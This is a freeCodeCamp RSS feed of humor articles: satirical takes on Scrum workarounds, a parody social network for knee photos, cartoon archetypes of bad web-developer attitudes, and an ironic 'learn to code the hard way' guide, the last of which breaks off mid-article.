<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ humor - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Browse thousands of programming tutorials written by experts. Learn Web Development, Data Science, DevOps, Security, and get developer career advice. ]]>
        </description>
        <link>https://www.freecodecamp.org/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ humor - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Sat, 30 May 2026 16:32:16 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/news/tag/humor/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ Scrum - the hard parts ]]>
                </title>
                <description>
                    <![CDATA[ By Bertil Muth The hard parts of Scrum and how to work around them. Further inspiration can be found here: ScrumBut. Only the developers estimate According to the Scrum Guide, only members of the development team  are allowed to estimate development ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/scrum-the-hard-parts/</link>
                <guid isPermaLink="false">66d45dedd7a4e35e38434951</guid>
                
                    <category>
                        <![CDATA[ agile ]]>
                    </category>
                
                    <category>
                        <![CDATA[ humor ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Scrum ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Tue, 09 Jul 2019 12:46:51 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2019/07/action-adult-adventure-1058958.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Bertil Muth</p>
<p>The hard parts of Scrum and how to work around them. Further inspiration can be found here: <a target="_blank" href="https://www.scrum.org/ScrumBut">ScrumBut</a>.</p>
<h2 id="heading-only-the-developers-estimate">Only the developers estimate</h2>
<p>According to the Scrum Guide, only members of the development team  are allowed to estimate development effort. Neither Scrum Master, nor  Product Owner.</p>
<p>As a Product Owner, you should therefore <em>subtly</em> influence  the estimates in your favor by asking questions like: "You can do that  in two weeks, right?" Or: "I can't imagine that this is a lot of effort.  Does anyone else see that?"</p>
<p>That way, you stay in control even when the going gets tough!</p>
<h2 id="heading-done">Done</h2>
<p>Scrum calls for a <em>potentially shippable product increment</em> at  the end of a Sprint: executable, tested and integrated software.  Because this is one of the hardest parts of Scrum, there are several  workarounds to make life a little easier.</p>
<p>First, learn to appreciate other artifacts as Sprint results as well.  How about a completed analysis or architectural document? For this to  work, you only need to adjust the Definition of Done.</p>
<p>Second, most importantly: do not forget the phases before Scrum and after Scrum.</p>
<p>Before Scrum, a planning phase of several months should take place, in which the project is approved and its scope is fixed.</p>
<p>After Scrum, you should have a test phase of at least several weeks  until the product can finally be delivered. This workaround is  particularly useful if you do not use any form of automated testing,  integration or deployment.</p>
<h2 id="heading-the-product-owner-sets-priorities">The product owner sets priorities</h2>
<p>According to the Scrum Guide, the Product Owner has the final say when prioritizing the Product Backlog.</p>
<p>This is uncomfortable. It would give the lower level management folks  huge decision-making power. Real managers keep away from developers, in  order to be able to make unpleasant decisions and enforce them.</p>
<p>Fortunately, there are now established roles such as the "Proxy  Product Owner". Rightly applied, that role has no decision-making  authority. PPOs merely pass on the announcements from the top to the  developers and "take the responsibility" if something goes wrong.</p>
<p>So - these are my "recommendations" for you today.<br>What are your favorite Scrum hacks?</p>
<p><em>To <a target="_blank" href="https://skl.sh/2Cq497P">get the basics of agile software development right</a>, visit my online course. If you want to keep up with what I'm doing, follow me on <a target="_blank" href="https://dev.to/bertilmuth">dev.to</a>, <a target="_blank" href="https://www.linkedin.com/in/bertilmuth/">LinkedIn</a> or <a target="_blank" href="https://twitter.com/BertilMuth">twitter</a>. Or visit my <a target="_blank" href="https://github.com/bertilmuth/requirementsascode">GitHub project</a>.</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How my social network for sharing photos of knees will save the world ]]>
                </title>
                <description>
                    <![CDATA[ By Roger Collier There are two things every person has in common: knees. Your friends have knees. Your coworkers have knees. So does your Aunt Sally. And your Uncle Aloysius. You. Me. Left knee. Right knee. Yet, despite this common bond, people conti... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-my-social-network-for-sharing-photos-of-knees-will-save-the-world-2074367d10ad/</link>
                <guid isPermaLink="false">66d460c8d7a4e35e384349ad</guid>
                
                    <category>
                        <![CDATA[ humor ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Life lessons ]]>
                    </category>
                
                    <category>
                        <![CDATA[ satire ]]>
                    </category>
                
                    <category>
                        <![CDATA[ social media ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Fri, 21 Sep 2018 16:19:27 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*YE_Y-aNfMRQc7FYFGPHBnw.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Roger Collier</p>
<p>There are two things every person has in common: knees. Your friends have knees. Your coworkers have knees. So does your Aunt Sally. And your Uncle Aloysius.</p>
<p>You. Me. Left knee. Right knee.</p>
<p>Yet, despite this common bond, people continue to argue, fight and hurt one another. There is conflict everywhere, both online and in the real world. But what if it were possible, after centuries of squabbling, to bring peace and harmony to all mankind through our shared identity. Well, that day has finally come.</p>
<p>Introducing Deez Knees, the first and only social network for sharing photos of knees — only knees.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/Eip0YkIYcNF4zOYyZn6RjSU3gJR9ac0kpJtT" alt="Image" width="800" height="518" loading="lazy"></p>
<h3 id="heading-why-knees">Why knees?</h3>
<p>I created Deez Knees to unify humanity. Some of us are taller than others. Some of us have dark hair and others have light hair. But when it comes to knees, there is little variety. A knee has only two parts: an interior component (the knee bone) and an exterior component (the knee skin). This is true for my knees, your knees, his knees and her knees. By sharing pictures of knees, we remind ourselves that deep down, beneath the knee skin, we are all basically the same.</p>
<blockquote>
<p>Deez Knees promotes unity</p>
</blockquote>
<p>You know what else Deez Knees promotes? Diversity. “Hey, hold on a second mister,” you might be thinking. “You just said all knees are the same, so how can your amazing new creation promote both unity and diversity?”</p>
<p>That, my friend, is the power of Deez Knees.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/QXWTJQhJjNliBbTTlAyU7V1FqC5w3Re0G6s8" alt="Image" width="800" height="424" loading="lazy"></p>
<h3 id="heading-scalable-configurable-technologicable">Scalable, configurable, technologicable</h3>
<p>The core technology behind Deez Knees is a sophisticated knee-recognition algorithm. You can try to post a photo of something else, but it won’t work. Upload a picture of your elbow? No dice. Share a pic of your butt? Try Instagram.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/A8sXhB4t2aK4y3JohYcJLpMcWg-S5tNyaB51" alt="Image" width="800" height="282" loading="lazy"></p>
<p>Deez Knees is fully integrateable across all digital platforms — vertical, horizontal and diagonal. The user interface is intuitive, responsive and gratuitive. Your personal information will remain secure. We use triple-bypass, hexagonalical encryption with cross-key hashtags. All data on Deez Knees are stored not only in the cloud, but also in the mist and the yawn.</p>
<p>Do we use blockchain? Yes, indeed — 27 blockchains, to be precise. Users can also select the cryptocurrency of their choice: Bitcoin, CyberDime or WebDough. Our network is lightening fast. Images load quickly thanks to our middle-out compression algorithm, which is based on science and math. Deez Knees is also chocked full of nanotechnology and artificial intelligence.</p>
<blockquote>
<p>Digital, Advanced Tech, The Future — Deez Knees</p>
</blockquote>
<p><img src="https://cdn-media-1.freecodecamp.org/images/gLzORlhxZB6TQse97zA1VBJ5pzGdjqysPSbf" alt="Image" width="800" height="447" loading="lazy"></p>
<h3 id="heading-making-the-world-a-better-place">Making the world a better place</h3>
<p>Most tech entrepreneurs care only about money and fame. They want to be the next high-profile billionaire, grace the covers of magazines, hobnob with celebrities. Not me. I created Deez Knees for you. For you and your knees.</p>
<p>Will there be advertising on Deez Knees? That goes without saying. Will I give your personal information to marketing companies? Yes, of course, but not for free. Will I sell Deez Knees to Facebook the first chance I get? You betcha.</p>
<p>But don’t let these minor business details distract you. Deez Knees was created for a higher purpose. There is too much bad in the world. Let’s inject a little bit of good. Actually, make that a whole lot of good.</p>
<p>I don’t know about you, but I think this world of ours is worth saving. Enough with the crime and the wars. Enough with the nasty YouTube comments and the silly Twitter beefs. Why so hostile? Friend, you have only one life. One life and two knees. Use them well.</p>
<p>That’s where Deez Knees comes in. Instead of clapping back at that internet troll, share a photo of your knees. You’ll both soon realize you aren’t so different after all. Instead of bashing Republicans, or Democrats or Saskatchewanians, scroll through your Deez Knees feed and reflect on how we are all diverse yet the same, different yet not so different, unequal in some ways yet — really, when you think about it, really think about it— always equal in all the ways that count.</p>
<blockquote>
<p>Deez Knees turns nasty into nicety</p>
</blockquote>
<p>It’s time, my friend. Time to make this world a better place. Time to bring light into darkness. Time to turn conflict into proflict. All we need is you, me and Deez Knees. We can do it. Two knees at a time.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ The bad ‘toons you will meet in web development ]]>
                </title>
                <description>
                    <![CDATA[ By James Y Rauhut The need for more web developers means that new faces will enter our industry every day. Awesome resources like freeCodeCamp keep the barriers to entry low. My hope for any newcomers is that they succeed in this field and enjoy the ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/the-bad-toons-you-will-meet-in-web-development-6f316009c273/</link>
                <guid isPermaLink="false">66d460ffd1ffc3d3eb89de68</guid>
                
                    <category>
                        <![CDATA[ careers ]]>
                    </category>
                
                    <category>
                        <![CDATA[ humor ]]>
                    </category>
                
                    <category>
                        <![CDATA[ technology ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Design ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Development ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Thu, 16 Aug 2018 18:55:35 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*f4sCIr32i4md6i1G16xneQ.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By James Y Rauhut</p>
<p>The <a target="_blank" href="https://www.bls.gov/ooh/computer-and-information-technology/web-developers.htm#tab-6">need for more web developers</a> means that new faces will enter our industry every day. Awesome resources like <a target="_blank" href="https://www.freecodecamp.org/">freeCodeCamp</a> keep the barriers to entry low. My hope for any newcomers is that they succeed in this field and enjoy the work they do.</p>
<p>These newcomers are going to meet a variety of personalities in the web development community. Some are cool, some not so much. I want to take a moment to zoom in on some of the poor attitudes out there. Why? If we categorize these bad attitudes, they become easier to identify and correct.</p>
<blockquote>
<p><em>Disclaimer: The truth is that we are all guilty of most of these behaviors. I also am not calling out any particular individuals and neither should you. In fact, the point of this lighthearted theme is for us to self-reflect, laugh a little, and improve.</em></p>
</blockquote>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*eMOIrzJiGn9SKyNaSIbvOA.png" alt="Image" width="135" height="311" loading="lazy"></p>
<h4 id="heading-the-flintstone">The Flintstone</h4>
<p>Like many of your company’s senior developers, a Flintstone has been developing web apps since the last century. However, they use this seniority to be poor leaders.</p>
<p>The Flintstones found the tech stack that they like years ago. They use that as a reason to dismiss anything new. Sometimes, they will even end a conversation by listing their seniority.</p>
<p>When a peer of mine first encountered a Flintstone, it really bothered him. He wanted to become a senior developer at his company (and is crushing it), but not a Flintstone. He ended up writing the following letter to his future self to remember how to interact with new developers:</p>
<blockquote>
<p>”Don’t kill someone’s enthusiasm or ideas. Appreciate the work, gauge if they understand the problem before assuming they don’t. Let them make their pitch and have an open mind, maybe you haven’t thought about it before. If it’s what you expected, be gentle, offer coaching or follow up.”</p>
</blockquote>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*F9IlC0Km9T8jk9taSMD7bQ.png" alt="Image" width="131" height="300" loading="lazy"></p>
<h4 id="heading-the-jetson">The Jetson</h4>
<p>A Jetson comes from the future …or stays up-to-date on web dev trends using Twitter. They love trying the hot, new JavaScript package while it is in alpha.</p>
<p>The downside of a Jetson is that they don’t take the time to weigh the pros and cons of the new tech. They also don’t consider why the solution has not been done before. Maybe the new tech was really a new idea, but it could also be that people found a problem with it in the past.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*sUGAm7P9pCkKuwCUXhmppA.png" alt="Image" width="118" height="336" loading="lazy"></p>
<h4 id="heading-the-butt-head">The Butt-Head</h4>
<p>A Butt-Head loves being on Twitter and web dev subreddits just like the Jetson. The problem is that they are not there to find new things to try. Instead, a Butt-Head seeks mystical internet points (upvotes, hearts, and likes) from peers. This means they will say anything to get those points.</p>
<p>These characters can be the worst for the web dev’s online communities. They put down posts without properly evaluating the information shared. Just because you are negative about something in the web dev community does <strong>not</strong> make you a Butt-Head. Butt-Heads are the ones quick to comment regardless of context.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*pIN_GjjZr4PqY6GM8i0bMw.png" alt="Image" width="107" height="240" loading="lazy"></p>
<h4 id="heading-the-lisa">The Lisa</h4>
<p>Lisa is a talented developer with too many extracurriculars. She spends a lot of time on side projects, conference talks, and blog posts <em>(cough, cough)</em>. This leads to a Lisa neglecting her share of actual team’s work. Her team is supportive of all that she does. They just wish she would be as bought-in to the whole teams’ goals.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*XUUikjcSiD21Sf0XVAZt5Q.png" alt="Image" width="131" height="170" loading="lazy"></p>
<h4 id="heading-the-dexter">The Dexter</h4>
<p>Dexter is super-smart, but works on his own in his lab. He never writes documentation for others. There is no helpful README file to get started or inline comments to explain his code. Newcomers on the project struggle the most with a Dexter, no matter what level of experience.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*P8jMv3qQfO_E0wEdDwIo7g.png" alt="Image" width="111" height="336" loading="lazy"></p>
<h4 id="heading-the-princess-bubblegum">The Princess Bubblegum</h4>
<p>This one is a favorite of mine because I have heard about it countless times in the corporate world. A Princess Bubblegum loves having her kingdom (team) dependent on her. She never writes documentation like the Dexter, but on purpose. Her number one goal is to ensure job security and importance. Princess Bubblegum chooses obscure technologies for projects that nobody else knows. She is also horrible at making the effort to train peers.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*xuAlYWBoDXvqhYUwFQsJvQ.png" alt="Image" width="221" height="352" loading="lazy"></p>
<h4 id="heading-the-thundercat">The ThunderCat</h4>
<p>Everything is a fight to a ThunderCat. Their technology needs to make the other technology seem obsolete. The ThunderCat believes their tech or way of doing things is the only way. It is also a tragedy to a ThunderCat if a teammate has a different way of writing CSS classnames.</p>
<p>A ThunderCat gets swept into the adrenaline rush of a good fight. Civil debates about how to do things within a team and the industry are healthy. What is also healthy is taking a step back to consider what is important in the debate.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*IDucU4WKdMCyE6mSTBD6Fg.png" alt="Image" width="161" height="240" loading="lazy"></p>
<h4 id="heading-the-rugrat">The Rugrat</h4>
<p>A Rugrat has imposter syndrome and is too scared to ask for help. What they tend to forget is that everyone else also struggles. After all, web development is a huge area with many topics. You will never be an expert in all of web development! Rugrats are usually associated with new web devs, but can really be anyone.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*vQqhHkjI-XAS6NxSUUagbA.png" alt="Image" width="111" height="167" loading="lazy"></p>
<h4 id="heading-the-smurf">The Smurf</h4>
<p>Smurfs only hang out with and lift up other Smurfs in their industry. A “Light Smurf” only interacts with and helps Smurfs that use similar tech or hold the same opinions.</p>
<p>The most dangerous Smurfs only give attention to Smurfs of the same gender, race, and other discriminatory values. This is terrible, because web development gets the most innovative ideas from a <a target="_blank" href="https://www.ibm.com/design/thinking/page/framework/principles/diverse-empowered-teams">diverse and empowered community</a>. If we do not proactively push for minority representation, our industry will stagnate.</p>
<h3 id="heading-conclusion">Conclusion</h3>
<p>Did these ‘toons bring back bad memories? Do you resonate with some of these characters? Got any other bad behaviors you think should be acknowledged? Please share them in the comments or tweet me them at <a target="_blank" href="https://twitter.com/seejamescode">@seejamescode</a>!</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Learn to code, the hard way ]]>
                </title>
                <description>
                    <![CDATA[ By Peter Gleeson These quick tricks will make learning to code as difficult and unrewarding as possible! * Warning: contains satire… 1. Pick a really difficult language Make sure to choose a difficult programming language. This will really set back y... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/learn-to-code-the-hard-way-65dece5b0005/</link>
                <guid isPermaLink="false">66d460aabd438296f45cd3a1</guid>
                
                    <category>
                        <![CDATA[ humor ]]>
                    </category>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Productivity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ General Programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ technology ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Wed, 20 Jun 2018 16:08:34 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/0*omHYY_YN1RGK56Fd" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Peter Gleeson</p>
<h4 id="heading-these-quick-tricks-will-make-learning-to-code-as-difficult-and-unrewarding-as-possible">These quick tricks will make learning to code as difficult and unrewarding as possible! *</h4>
<p>Warning: contains satire…</p>
<h3 id="heading-1-pick-a-really-difficult-language">1. Pick a really difficult language</h3>
<p>Make sure to choose a difficult programming language. This will really set back your learn-to-code journey before it’s even started.</p>
<p>Don’t take any chances here. You may have heard some folks say that C++ or Java are challenging for beginners. But, <a target="_blank" href="http://www.learncpp.com/">even these can be mastered with a little extra patience and perseverance</a>.</p>
<p>Perhaps you could pick up an old-fashioned language, like <a target="_blank" href="https://thenextweb.com/finance/2017/04/10/ancient-programming-language-cobol-can-make-you-bank-literally/">COBOL</a> or <a target="_blank" href="https://en.wikipedia.org/wiki/PL/I">PL/I</a>. Or how about something really low level like <a target="_blank" href="https://www.tutorialspoint.com/assembly_programming/assembly_introduction.htm">assembly</a>, or even <a target="_blank" href="https://en.wikipedia.org/wiki/Machine_code">machine code</a>?</p>
<p>For a certain bet, why not try an esoteric language like <a target="_blank" href="https://esolangs.org/wiki/Malbolge">Malbolge</a> or <a target="_blank" href="https://esolangs.org/wiki/Befunge">Befunge</a> or <a target="_blank" href="https://esolangs.org/wiki/INTERCAL">INTERCAL</a>? Starting out with one of these languages will set you back several years already. Plus, their lack of job prospects will thoroughly demotivate you.</p>
<p>Whatever you do, <em>don’t</em> <a target="_blank" href="https://medium.freecodecamp.org/best-programming-languages-to-learn-in-2018-ultimate-guide-bfc93e615b35"><strong>pick a modern, accessible and universally used language like JavaScript or Python or Ruby</strong></a><strong>.</strong></p>
<p><a target="_blank" href="https://medium.freecodecamp.org/what-programming-language-should-i-learn-first-%CA%87d%C4%B1%C9%B9%C9%94s%C9%90%CA%8C%C9%90%C9%BE-%C9%B9%C7%9D%CA%8Dsu%C9%90-19a33b0a467d"><strong>They might be in great demand</strong></a> and have countless <a target="_blank" href="https://www.freecodecamp.org/"><strong>free learning resources out there on the web</strong></a><strong>.</strong> They may have <a target="_blank" href="https://forum.freecodecamp.org/"><strong>large, supportive communities of fellow learners</strong></a>.</p>
<p>But where’s the <em>struggle</em> in all that?</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/60o3KzHZGotFJCfGDOJhSCCE-tPzy85Fusmr" alt="Image" width="800" height="518" loading="lazy">
_If learning to code doesn’t make you melancholy, you’re doing it wrong. Photo by [Unsplash](https://unsplash.com/@e_sykes?utm_source=medium&amp;utm_medium=referral" rel="noopener" target="_blank" title=""&gt;Ethan Sykes on &lt;a href="https://unsplash.com?utm_source=medium&amp;utm_medium=referral" rel="noopener" target="<em>blank" title=").</em></p>
<h3 id="heading-2-set-up-a-nightmare-coding-environment">2. Set up a nightmare coding environment</h3>
<p>You may have heard of various text editors and IDEs (integrated development environments) that can be downloaded or trialled for free. Examples include Sublime, Atom, VSCode, IntelliJ,… <a target="_blank" href="https://www.slant.co/topics/1686/~javascript-ides-or-editors">and many more besides</a>.</p>
<p>Some people argue <strong>these can make writing code much more convenient and productive</strong>. Ignore these people.</p>
<p>Sure… <strong>autocompletion, syntax highlighting, code-linting, and access to all kinds of extension packages</strong> <strong>all</strong> <em>sound</em> like they’ll <strong>make coding easier</strong>. But the reality is completely different. No one who really knows how to write software needs to use them.</p>
<p>The fact that <strong>these editors and IDEs are widely used throughout industry by pros and experienced developers</strong> is irrelevant. It must be some kind of massive conspiracy, funded by Big Tech™ no doubt.</p>
<p>Terminal-based editors, like <a target="_blank" href="https://en.wikipedia.org/wiki/Editor_war"><strong>Vim or Emacs</strong></a><strong>, are often cited as difficult to learn. <a target="_blank" href="https://medium.freecodecamp.org/how-i-learned-to-love-vim-ce3e058d57fb">However, even these can be learned with practice</a></strong>.</p>
<p>For a more challenging development environment, try Windows Notepad. Even better, turn your keyboard upside down and unplug your monitor.</p>
<p>Or, maybe you prefer this setup:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/he86DKclPwqbx14UuMOjTVgMmUwAbyr00Wsh" alt="Image" width="740" height="406" loading="lazy">
_Via [https://xkcd.com/378/](https://xkcd.com/378/" rel="noopener" target="<em>blank" title=").</em></p>
<h3 id="heading-3-tackle-major-projects-early-on">3. Tackle major projects early on</h3>
<p>If you’re serious about learning to code, then everyone knows you should make world record progress.</p>
<p>After all, you should be able to build a realtime, distributed video and movie streaming platform within the first week, add an AI powered recommendation system after week two, and launch a zeitgeist-shifting, multi-billion dollar valued tech company within a month or so. Give or take a few days for hiring and firing.</p>
<p>And anyway, it’s not like <a target="_blank" href="https://medium.freecodecamp.org/every-time-you-build-a-to-do-list-app-a-puppy-dies-505b54637a5d"><strong>there are many examples of beginner-friendly, step-by-step learning projects out there</strong></a>. Nor is it <a target="_blank" href="https://medium.freecodecamp.org/how-to-make-your-first-open-source-contribution-in-just-5-minutes-aaad1fc59c9a"><strong>as easy as it has ever been to start contributing to popular, open-source projects</strong></a>.</p>
<p>So definitely <em>don’t</em> bother with that.</p>
<h3 id="heading-4-never-ever-ask-for-help">4. Never, ever ask for help</h3>
<p>Despite its common, everyday meaning, in software development the word “beginner” actually refers to someone born with many years worth of experience and programming knowledge.</p>
<p>This is why <em>real</em> programmers never need to ask for help.</p>
<p>Plus, being new to something is a classic sign of weakness.</p>
<p>You don’t want to look weak, so don’t go asking for help when you think you might need it. Why make progress when you can learn the hard way?</p>
<p>Q&amp;A websites such as <a target="_blank" href="https://stackoverflow.com/"><strong>StackOverflow may seem full of developers of all experience levels answering each other’s questions</strong></a>. But what do they <em>actually</em> know?</p>
<p>Admittedly, many of them are <a target="_blank" href="https://stackexchange.com/leagues/1/alltime/stackoverflow/2008-07-31/22656#22656"><strong>software pros with expert knowledge they want to share with programmers at all stages</strong></a>. But they’re absolutely not helping out <em>real</em> programmers… whatever that actually means.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/NG7MfoEruzcrRuaXa4VbNQRoDDwojeFchtCJ" alt="Image" width="800" height="533" loading="lazy">
_Learning web development? Don’t be asking for any help now… Photo by [Unsplash](https://unsplash.com/@kobuagency?utm_source=medium&amp;utm_medium=referral" rel="noopener" target="_blank" title=""&gt;Kobu Agency on &lt;a href="https://unsplash.com?utm_source=medium&amp;utm_medium=referral" rel="noopener" target="<em>blank" title=")</em></p>
<h3 id="heading-5-take-frequent-six-month-breaks">5. Take frequent six month breaks</h3>
<p>You know what’s harder than learning to code?</p>
<p>It’s learning to code in two hour bursts, with six month breaks in between sessions.</p>
<p>Everyone knows the key to succeeding in any pursuit is inconsistency. Some people claim that <a target="_blank" href="https://www.forbes.com/sites/quora/2016/07/08/science-says-this-is-the-best-way-to-learn-and-remember-new-things/#7455db533ea2"><strong>practicing “little and often” is the best way to learn a new skill</strong></a>. These are usually the same people who say <a target="_blank" href="http://www.businessinsider.com/the-20-minute-rule-of-success-2016-2?IR=T"><strong>even 20 minutes a day can make a difference</strong></a>. They are wrong on both counts.</p>
<p>A long, six month break is the perfect amount of time to completely forget what you learned previously. If you can’t manage six months, then aim for at least three or four.</p>
<p>Just <em>don’t</em> <a target="_blank" href="https://hbr.org/tip/2016/03/make-learning-a-habit"><strong>get into a regular habit of making learning part of your normal routine</strong></a>. Routine tasks include brushing your teeth, tying your shoes, and flushing the toilet.</p>
<p>No one ever got good at these things by doing them every single day.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/Rorl9O2bJTtGe4GSYNMtHXGuotv5-0MtVTAb" alt="Image" width="800" height="533" loading="lazy">
_You never got good at this by practicing every day. Photo by [Unsplash](https://unsplash.com/@nate_dumlao?utm_source=medium&amp;utm_medium=referral" rel="noopener" target="_blank" title=""&gt;Nathan Dumlao on &lt;a href="https://unsplash.com?utm_source=medium&amp;utm_medium=referral" rel="noopener" target="<em>blank" title=").</em></p>
<h3 id="heading-6-dont-read-around-the-topic">6. Don’t read around the topic</h3>
<p>It’s a well known drawback of the Internet Age — there simply aren’t enough things to read, watch, and listen to online.</p>
<p>Perhaps you’ve heard of these so-called ‘<a target="_blank" href="https://tylermcginnis.com/blog/">blogs</a>’, ‘<a target="_blank" href="https://www.wired.com/category/magazine/">online publications</a>’, ‘<a target="_blank" href="https://news.ycombinator.com/news">news websites</a>’, ‘<a target="_blank" href="https://freecodecamp.libsyn.com/">podcasts</a>’ and ‘<a target="_blank" href="https://www.youtube.com/playlist?list=PLWKjhJtqVAbmDGFE_pZ-PDJ1GWe3KtT-M">video tutorials</a>’. The bad news is, I have checked and can confirm they simply don’t exist.</p>
<p>Besides, does anyone <em>seriously</em> believe that <a target="_blank" href="https://appendto.com/2018/01/15-blogs-every-javascript-developer-follow-2018/"><strong>reading around a topic helps you develop a broader understanding</strong></a>? Or that <a target="_blank" href="https://www.networkworld.com/article/2914779/software/hilarious-random-startup-website-generator-is-pretty-damn-realistic.html"><strong>chance articles can spark your interest in directions you may never have considered otherwise</strong></a>?</p>
<p>And even if these mythical resources did exist, who’s to say <a target="_blank" href="https://www.technologyreview.com/"><strong>they’d be high-quality</strong></a><strong>, <a target="_blank" href="https://medium.com/@addyosmani">written by experts</a>,</strong> and very often <a target="_blank" href="https://medium.freecodecamp.org/">entirely free</a>?</p>
<p>Perhaps you’re tempted to <strong>visit a bookstore or a library</strong> instead?</p>
<p>Well, bad news again. No one prints physical books anymore, because no one reads them. The Internet killed them off. <a target="_blank" href="https://www.theguardian.com/books/2017/mar/14/ebook-sales-continue-to-fall-nielsen-survey-uk-book-sales">Or did it</a>?</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/3m3UfSJ3Ex7xN9xgsFoYHN1MXtOUpIxeAvQV" alt="Image" width="800" height="532" loading="lazy">
_Interesting books and blogs exist only in stock photos. Photo by [Unsplash](https://unsplash.com/@anete_lusina?utm_source=medium&amp;utm_medium=referral" rel="noopener" target="_blank" title=""&gt;Anete Lūsiņa on &lt;a href="https://unsplash.com?utm_source=medium&amp;utm_medium=referral" rel="noopener" target="<em>blank" title=").</em></p>
<h3 id="heading-7-avoid-interacting-with-more-experienced-programmers">7. Avoid interacting with more experienced programmers</h3>
<p>The number one rule of learning anything is “stay clear of experts”.</p>
<p>This is because most experts have short memories, and cannot remember what it was like when they were just starting out. It’s not their fault. Their brains are just too full of stuff you don’t know.</p>
<p>Experience is overrated anyhow… right? <em>Right</em>.</p>
<p>Many folks say <a target="_blank" href="https://medium.freecodecamp.org/want-to-be-a-developer-you-should-probably-be-pair-programming-2c6ec12c4866"><strong>pair programming is a great way of learning tricks and tips from more experienced developers</strong></a>. In reality, you’re more likely to pick up their bad habits/poor posture/cynical worldview.</p>
<p>Also, think back to the last time someone looked up to you enough to ask your advice on something they cared about. Remember how <em>awful</em> it made you feel?</p>
<p>So, do you really think <strong>experienced developers like talking about what they do</strong>? Of course not. They <em>resent</em> people who <strong>ask all the same questions they had when they started out</strong>.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/b4C0siuwcxdYALAEdyZLalfSkyNpmC1omDll" alt="Image" width="800" height="533" loading="lazy">
_Are these guys pair programming? No. Photo by [Unsplash](https://unsplash.com/@helloquence?utm_source=medium&amp;utm_medium=referral" rel="noopener" target="_blank" title=""&gt;Helloquence on &lt;a href="https://unsplash.com?utm_source=medium&amp;utm_medium=referral" rel="noopener" target="<em>blank" title=")</em></p>
<h3 id="heading-8-stay-away-from-internships-and-job-applications">8. Stay away from internships and job applications</h3>
<p>Lastly, be sure to avoid Googling for internships and entry-level developer jobs in your area.</p>
<p>Certainly don’t apply for anything until you’ve authored the code used for a successful moon-landing, and can land a handwritten joint reference from Bill Gates and Tim Cook. Even then, think twice.</p>
<p>OK, so internships can <a target="_blank" href="https://medium.freecodecamp.org/ace-your-developer-internship-with-these-simple-steps-38134130bab1"><strong>provide real world experience of working in software as part of a team</strong>.</a> They can <a target="_blank" href="https://medium.freecodecamp.org/10-things-i-learnt-during-my-software-engineering-internship-bb88369cb13c"><strong>let you get real feedback on how you are progressing</strong></a><strong>.</strong> They can also <a target="_blank" href="https://medium.freecodecamp.org/how-to-move-forward-if-your-internship-doesnt-land-you-that-developer-job-7d674ddf780a">help you decide if you are ready for a particular job role</a>.</p>
<p>But! You have been <em>misled</em> if you think any of that will be useful to you as a professional developer.</p>
